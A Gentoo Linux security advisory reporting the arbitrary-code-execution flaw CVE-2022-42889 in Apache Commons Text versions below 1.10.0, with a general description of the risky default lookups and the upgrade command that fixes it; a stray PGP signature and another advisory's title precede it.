SIGNATURE-----iQKTBAEBCgB9FiEErPPQiO8y7e9qGoNf2a0UuVE7UeQFAmO98RdfFIAAAAAALgAoaXNzdWVyLWZwckBub3RhdGlvbnMub3BlbnBncC5maWZ0aGhvcnNlbWFuLm5ldEFDRjNEMDg4RUYzMkVERUY2QTFBODM1RkQ5QUQxNEI5NTEzQjUxRTQACgkQ2a0UuVE7UeTvExAAr/PkL7dghDuiVOzcE6Imt2Z1p+qeOIQf/UbvwSZw/fb5zt9QrDmM/fp3d9GhWOoxzspsmNJ6LieCMeN4pih+q1DXaD6HE9o+X90FjYXaJSnfRZMCjbYor6dtN7CnzJnBnr/5iJ6XTS9lSmntpPdLlpXpdicivSeEtLkDgYH3LnZ/YKPVWPnDD6gusce8t3yttfzgZkGL7h6jhS5aWZwD4bbvUVEeb0uzGlYALP3yv4znbwS1483jUPwB0bfUu2mYgR6+byHMoud+aqbqZXkKL4nr+FkwYIRyXkXn5riME+jkM8LegU0kF3A5CkwylkbUdLk4D7glskpuwWbxTjdAmuiqLoHpNbBPyqHd8w4GcOr/ZlcZIXEqownSNv3pGDjqA3KLWzTKmfIAidSLbnKhqQkWpvRlv34kb8jgqDHmYR3wORaHW6jOGGysBqx4igyLLgYGQukk8pHahoR8VF6hiHihkVjjylqnx6m5hAt4CpQCtCzG9IKqTKjSApT8qM8JNvfzgu0Fa3hiY4O3lbr6W5elSnAjeh49tRaRmT/nT6n4sng0MOCPeBsXXRhr8UuwZhh4SU9XAGJ3O6yVRoouAb/IIM6ALwFlMDRwHU+lB3YJhciXj1yMFJqWUKleG3lajnEDXYhlF50W26LKXRE7KAUmkt7H3wQxkgHAKRqPrbc==3k8R-----END PGP SIGNATURE-----

Debian Security Advisory 5313-1

Gentoo Linux Security Advisory 202301-5 - A vulnerability has been discovered in Apache Commons Text which could result in arbitrary code execution. Versions less than 1.10.0 are affected.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -  
Gentoo Linux Security Advisory                           GLSA 202301-05  
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -  
                                           https://security.gentoo.org/  
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

 Severity: High  
    Title: Apache Commons Text: Arbitrary Code Execution  
     Date: January 11, 2023  
     Bugs: #877577  
       ID: 202301-05

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Synopsis  
========

A vulnerability has been discovered in Apache Commons Text which could  
result in arbitrary code execution.

Background  
==========

Apache Commons Text is a library focused on algorithms working on  
strings.

Affected packages  
=================

    -------------------------------------------------------------------  
     Package              /     Vulnerable     /            Unaffected  
    -------------------------------------------------------------------  
  1  dev-java/commons-text      < 1.10.0                    >= 1.10.0

Description  
===========

Apache Commons Text performs variable interpolation, allowing properties  
to be dynamically evaluated and expanded. The standard format for  
interpolation is "${prefix:name}", where "prefix" is used to locate an  
instance of org.apache.commons.text.lookup.StringLookup that performs  
the interpolation. The set of default Lookup instances included  
interpolators that could result in arbitrary code execution or contact  
with remote servers. These lookups are: - "script" - execute expressions  
using the JVM script execution engine (javax.script) - "dns" - resolve  
dns records - "url" - load values from urls, including from remote  
servers Applications using the interpolation defaults in the affected  
versions may be vulnerable to remote code execution or unintentional  
contact with remote servers if untrusted configuration values are used.

Impact  
======

Crafted input to Apache Commons Text could trigger remote code  
execution.

Workaround  
==========

There is no known workaround at this time.

Resolution  
==========

All Apache Commons Text users should upgrade to the latest version:

  # emerge --sync  
  # emerge --ask --oneshot --verbose ">=dev-java/commons-text-1.10.0"

References  
==========

[ 1 ] CVE-2022-42889  
      https://nvd.nist.gov/vuln/detail/CVE-2022-42889

Availability  
============

This GLSA and any updates to it are available for viewing at  
the Gentoo Security Website:

 https://security.gentoo.org/glsa/202301-05

Concerns?  
=========

Security is a primary focus of Gentoo Linux and ensuring the  
confidentiality and security of our users' machines is of utmost  
importance to us. Any security concerns should be addressed to  
security@gentoo.org or alternatively, you may file a bug at  
https://bugs.gentoo.org.

License  
=======

Copyright 2023 Gentoo Foundation, Inc; referenced text  
belongs to its owner(s).

The contents of this document are licensed under the  
Creative Commons - Attribution / Share Alike license.

https://creativecommons.org/licenses/by-sa/2.5

Tag

#rce